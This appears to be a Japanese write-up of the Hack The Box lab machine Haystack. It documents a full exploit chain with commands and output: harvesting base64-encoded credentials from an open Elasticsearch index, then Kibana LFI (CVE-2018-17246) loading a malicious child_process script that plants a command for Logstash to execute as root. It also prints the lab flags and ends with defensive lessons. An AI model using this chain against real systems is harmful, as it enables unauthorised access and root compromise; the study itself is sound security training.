Hack The BoxのWriteup(Haystack)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Haystack — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 9200/ES
→
Elasticsearch quotesインデックス
base64混入データ発見
→
base64総当たりデコード
security:spanish.is.key
→
SSH ログイン
user.txt ✓
→
localhost:5601 Kibana発見
ps aux等で確認
→
CVE-2018-17246 LFI
api_server?apis=../tmp/x.js
→
kibanaユーザーでJS実行
Logstash設定ファイル書込
→
Logstash grokがroot実行
exec プラグイン
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.120
RESULT
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http  (nginx、静的ページのみ・攻略には使わない)
9200/tcp open     wap-wsp (Elasticsearch HTTP API)
5000/tcp filtered upnp
5044/tcp filtered lxi-evntsvc   (Logstash beats input, 外部非公開)
5601/tcp filtered esmagent      (Kibana, 外部非公開・localhostのみ)

バージョン確認

BASH
curl -s http://10.129.227.120:9200/
RESULT
{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "6.4.2",
    ...
  },
  "tagline" : "You Know, for Search"
}
🚨
Elasticsearch 9200番ポートが認証なしで外部公開されている。 この構成ではREST API経由で全インデックスのデータを誰でも読める。 5601(Kibana)と5044(Logstash)は外部からfilteredだが、これは localhost限定でバインドされているだけで、内部からは 到達可能であることを後のフェーズで利用する。
PHASE 2

Elasticsearch インデックス調査

インデックス一覧の取得

BASH
curl -s http://10.129.227.120:9200/_cat/indices?v
RESULT
health status index  uuid                   docs.count
yellow open   quotes pjrX7V_gSFmJY-DxP4tCQg 253
ℹ️
quotesという名前の通り「引用文」コレクションに見えるが、 認証情報が混入している可能性があるため全件確認する必要がある。

quotes インデックスの全件取得

BASH
# size=253 で全件(docs.count=253)を一度に取得
curl -s "http://10.129.227.120:9200/quotes/_search?size=253" -o quotes.json
RESULT (抜粋)
{"_index":"quotes","_type":"quote","_id":"14","_score":1.0,
 "_source":{"quote":"En América se desarrollaron importantes civilizaciones..."}}
...(スペイン語の歴史に関する引用文が253件)
{"_index":"quotes","_type":"quote","_id":"193","_score":1.0,
 "_source":{"quote":"dXNlcjogc2VjdXJpdHk"}}
{"_index":"quotes","_type":"quote","_id":"194","_score":1.0,
 "_source":{"quote":"cGFzczogc3BhbmlzaC5pcy5rZXk="}}
🚨
大半はスペイン語の歴史に関する無害な引用文だが、2件だけ 英数字+記号のみの明らかに異質な文字列(base64っぽい見た目)が 混在している。これが攻撃者への手掛かり。
PHASE 3

base64 総当たりデコードで認証情報抽出

全quoteフィールドをbase64としてデコード試行

PYTHON
import base64, re, json

data = json.load(open("quotes.json"))
for hit in data["hits"]["hits"]:
    q = hit["_source"]["quote"]
    # base64っぽい文字列(英数字+/+パディング)だけを対象にデコード試行
    if re.fullmatch(r"[A-Za-z0-9+/]{12,}={0,2}", q):
        try:
            dec = base64.b64decode(q).decode("utf-8")
            print(f"id={hit['_id']}: {q} -> {dec}")
        except Exception:
            pass
BASH (同等のワンライナー)
cat quotes.json | grep -oE '"quote":"[A-Za-z0-9+/]{12,}={0,2}"' \
  | sed 's/"quote":"//;s/"$//' \
  | while read -r b64; do echo -n "$b64 -> "; echo "$b64" | base64 -d 2>/dev/null; echo; done
RESULT
dXNlcjogc2VjdXJpdHk -> user: security
cGFzczogc3BhbmlzaC5pcy5rZXk= -> pass: spanish.is.key
✅
認証情報発見! security:spanish.is.key。 Elasticsearchの他のドキュメントに紛れて、何者か(開発者?)が 平文ではなくbase64エンコードした状態でうっかり登録してしまった ものと見られる。
PHASE 4

SSH ログイン → user.txt

SSH ログイン

BASH
ssh security@10.129.227.120
# Password: spanish.is.key

security@haystack:~$ id
security@haystack:~$ cat ~/user.txt
RESULT
uid=1000(security) gid=1000(security) groups=1000(security)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
b678ff45098006b7c85d8791bf9d1a8f
user.txt — security
b678ff45098006b7c85d8791bf9d1a8f
⚠️
注意: このマシンの sshd はTCP接続自体は速いが、 パスワード認証フェーズに毎回20〜25秒程度かかる固有の遅延がある (SELinuxコンテキスト context=unconfined_u:... が出る環境でよく見られる、 PAM/NSSの名前解決待ちが原因と推測される)。sshのデフォルト設定で 気長に待てば必ず成功するが、スクリプトで自動化する場合は タイムアウトを十分長く(50秒以上)取ること。
PHASE 5

内部サービス発見 & Kibana LFI (CVE-2018-17246)

内部で稼働するサービスの確認

BASH
security@haystack:~$ netstat -tlnp 2>/dev/null || ss -tlnp
security@haystack:~$ curl -s http://localhost:5601/api/status | head -5
RESULT
tcp  0  0 127.0.0.1:5601  0.0.0.0:*  LISTEN  (kibana)
tcp  0  0 127.0.0.1:9600  0.0.0.0:*  LISTEN  (logstash monitoring)
{"name":"...","version":{"number":"6.4.2"...
🚨
Kibana 6.4.2 が localhost:5601限定で稼働。 このバージョンには既知のLFI脆弱性 CVE-2018-17246 が存在する。

CVE-2018-17246 の原理

NOTE
Kibana の Console プラグインが提供する /api/console/api_server エンドポイントは
"apis" パラメータで指定したファイルを Node.js の require() で読み込み実行する
設計になっている。本来は Console が内蔵する定義済みJSONファイルを
読み込むためのものだが、パスのサニタイズが不十分でパストラバーサルが可能。

  GET /api/console/api_server?apis=../../../../../../../../tmp/shell.js

→ /tmp/shell.js が **kibanaユーザーの権限でrequire()され実行される**
  (任意コードがkibanaの実行コンテキストで走る)

重要な制約:
  - このエンドポイントはレスポンスをまともに返さずハングする傾向がある
    (require成功後も内部でエラーになり、応答が返ってこない)
  - Node.jsのrequire()キャッシュ機構により、**同じファイルパスを2回目以降
    requireしても再実行されない** (キャッシュされたモジュールを返すだけ)
    → 毎回ユニークなファイル名(タイムスタンプ付き等)を使う必要がある

root権限実行への橋渡し: Logstashの設定ホットリロード

NOTE
Kibana自身はrootではなくkibanaユーザーで動くため、LFIで直接rootを
取ることはできない。このマシンではLogstashがroot権限で稼働しており、
/opt/kibana/ 配下のファイルをfile inputプラグインで監視・読み込みしている。

Logstashのパイプライン設定には次のようなgrokフィルタ + execプラグインの
組み合わせが仕込まれている(事前に /etc/logstash/conf.d/ 等に設置された
設定、このマシンの既定構成):

  input  { file { path => "/opt/kibana/logstash_*" } }
  filter {
    grok { match => { "message" => "Ejecutar comando : %{GREEDYDATA:comando}" } }
  }
  output { exec  { command => "%{comando}" } }  # ← root権限で実行

つまり /opt/kibana/logstash_<任意> というファイルに
"Ejecutar comando : <実行したいコマンド>" という1行を書き込めば、
Logstashがそれを10秒おきのポーリングで検知し、**root権限でコマンドを
実行**してしまう。

ただし /opt/kibana は root:kibana 所有で kibana グループのみ書込可能
(securityユーザーは書けない)。そこで前述のKibana LFI(kibanaユーザーで
任意JS実行)を使い、kibana権限で /opt/kibana/logstash_ を書き込む
という2段構えが必要になる。
ℹ️
つまり攻撃チェーンは LFI(kibana権限でJS実行) → そのJSが Logstash監視ファイルに命令を書く → Logstash(root)がそれを実行 という2段階の権限昇格になっている。
PHASE 6

Logstash root exec トリガー → root.txt

悪性 shell.js の作成

BASH (security シェルから)
# タイムスタンプでユニークなファイル名にする(require/file-inputキャッシュ回避)
TS=$(date +%s%3N)

cat > /tmp/shell_${TS}.js << JSEOF
(function(){
  var cp = require("child_process");
  // 既存の logstash_* トリガーファイルを掃除してから新規トリガーを書く
  // (古いファイルを放置すると再トリガーでrootコマンドが多発し過負荷になる)
  cp.exec(
    "rm -f /opt/kibana/logstash_* 2>/dev/null; " +
    "echo 'Ejecutar comando : cp /root/root.txt /tmp/.flag_${TS}; " +
    "chmod 666 /tmp/.flag_${TS}' > /opt/kibana/logstash_${TS}"
  );
  return /a/;
})();
JSEOF
chmod 666 /tmp/shell_${TS}.js
⚠️
cp.exec()に渡す文字列の中で、root実行させたいコマンド自体を echo 'Ejecutar comando : <cmd>' > /opt/kibana/logstash_<ts> という形でファイルに書き込んでいる。grokパターン Ejecutar comando : %{GREEDYDATA:comando}に一致させるため、 この接頭辞文字列(“コマンドを実行する”のスペイン語)を正確に再現する必要がある。

Kibana LFI でトリガー

BASH
# api_server のリクエストはrequire成功後もハングするため、
# nohup + timeout + バックグラウンド実行でデタッチして回収する
nohup timeout 6 curl -s \
  "http://127.0.0.1:5601/api/console/api_server?apis=../../../../../../../../tmp/shell_${TS}.js" \
  >/dev/null 2>&1 &

echo "トリガー送信完了 (TS=${TS})"
RESULT
トリガー送信完了 (TS=1792463944105)

Logstash(root)の実行待ち & root.txt回収

BASH
# Logstash の file input はデフォルトで新規ファイルの発見(discover_interval)
# ~10秒ごとのポーリングで反応するため、即座には結果が出ない。
# 数秒おきにポーリングして /tmp/.flag_ の出現を待つ。
for i in $(seq 1 15); do
  sleep 5
  out=$(cat /tmp/.flag_${TS} 2>/dev/null)
  if [ -n "$out" ]; then
    echo "root.txt = $out"
    break
  fi
  echo "attempt $i: まだ..."
done
RESULT
attempt 1: まだ...
attempt 2: まだ...
attempt 3: まだ...
root.txt = fc6519863114418aac2e2f0a1b699e24
✅
権限昇格成功! Logstashがrootユーザーのコンテキストで cp /root/root.txt /tmp/.flag_<ts>; chmod 666 ...を実行し、 rootのみ読めるファイルをsecurityユーザーでも読める場所にコピーして くれた。リバースシェルは一切不要。
root.txt — /root (Logstash exec経由)
fc6519863114418aac2e2f0a1b699e24
⚠️
注意: Logstashが作成したフラグファイルはroot所有のため、 securityユーザーからは削除できない。再試行する場合は必ず タイムスタンプ等でユニークな新しいファイル名を使うこと(同名ファイルへの 書き込みはPermission Deniedになる)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — security
b678ff45098006b7c85d8791bf9d1a8f
root.txt — /root (Logstash root exec経由)
fc6519863114418aac2e2f0a1b699e24

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
認証なしElasticsearch Elasticsearch 6.4.2 (9200、外部公開) 全インデックスデータの漏洩 Critical quotesインデックスを全件取得し混入したbase64資格情報を発見
平文/base64資格情報の誤登録 quotes index内の2ドキュメント SSHログイン(user.txt) High 全文字列をbase64総当たりデコードし user:security / pass:spanish.is.key を発見
CVE-2018-17246 Kibana 6.4.2 /api/console/api_server (localhost:5601) kibanaユーザーでの任意コード実行(LFI→RCE) Critical apisパラメータのパストラバーサルで/tmp配下の任意.jsファイルをrequire実行
Logstash grok+exec の設定ミス /opt/kibana/logstash_* を監視するLogstashパイプライン(root稼働) kibana → root への権限昇格 High 監視対象ファイルに特定書式の1行を書くとgrokが抽出したコマンドをexecプラグインがroot権限で実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート22/80/9200公開、5044/5601はlocalhost限定
2ES調査_cat/indices + _search?size=253quotesインデックス253件中2件が異質なbase64文字列
3認証情報抽出base64総当たりデコードsecurity:spanish.is.key
4SSHログインssh security@targetuser.txt 取得
5内部サービス発見ss/netstat + Kibana LFI原理調査localhost:5601 Kibana 6.4.2、CVE-2018-17246 LFI確認
6権限昇格LFI(kibana実行)→Logstash設定ファイル書込→exec(root)root.txt 取得(リバースシェル不要)

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
SSHログイン(sshpass等での自動化)が頻繁にタイムアウトする このマシンのsshdはTCP接続後のパスワード認証フェーズ自体に毎回20〜25秒かかる固有の遅延がある。ConnectTimeoutはTCP接続にしか効かないため、コマンド全体のタイムアウトを50秒以上に設定する。
同じshell.jsファイル名で2回目以降LFIを投げても何も起きない Node.jsのrequire()はモジュールキャッシュを持つため、同一パスは2回目以降実行されず前回のキャッシュが返るだけ。毎回タイムスタンプ等でユニークなファイル名にする。
同じlogstash_<name>ファイルを2回目以降書き換えてもLogstashが反応しない Logstashのfile inputは既読済みファイルのオフセットを記録(sincedb)しており、同一ファイルへの追記以外は再処理しない。毎回ユニークなファイル名(logstash_<ts>)にする。
何度もLFIをトリガーすると、途中からSSH含め全体の応答が重くなる トリガーするたびに新規logstash_*ファイルが残り続け、Logstashが10秒おきに毎回全てを再評価しようとしてroot execが多発的に走りマシンが過負荷になる。shell.js側で新規トリガー書込み前に古い logstash_* を rm -f で掃除し、1回のLFIトリガーに留める。
Kibana LFIのcurlリクエストが応答を返さずハングしたままになる require実行後も内部エラーでレスポンスが返らない仕様。nohup timeout N curl ... &でバックグラウンド化・強制タイムアウトし、本体スクリプトをブロックしないようにする。

学んだ教訓 & 防御策

問題点防御策
Elasticsearchが認証なしで外部に公開されている Elasticsearchは標準で認証機能を持たない(X-PackやSearch Guard等の別プラグインが必要)。本番環境では必ずネットワークレベルで外部アクセスを遮断し、X-Pack Securityやリバースプロキシでの認証を導入する。
データストアに(base64エンコードであれ)認証情報を平文同等の形で紛れ込ませている 認証情報はVaultやSecrets Manager等の専用シークレット管理システムで管理し、アプリケーションデータと同じデータストアに絶対に置かない。base64は暗号化ではなく、容易にデコードできる点を認識する。
既知のクリティカルLFI(CVE-2018-17246)が存在する旧バージョンのKibanaを使用 Kibana/Elasticsearch/Logstash等のミドルウェアは速やかにバージョン更新し、CVE公開情報を定期的に確認してパッチ適用を行う。
Logstashのパイプライン設定がファイル内容をそのままシェルコマンドとしてroot権限でexec実行する設計になっている execプラグイン等、外部入力をそのままシステムコマンドとして実行するような設定は原則禁止する。どうしても必要な場合は実行ユーザーを最小権限にし、入力を厳格にホワイトリスト検証する。
HackTheBox: Haystack | 完全攻略レポート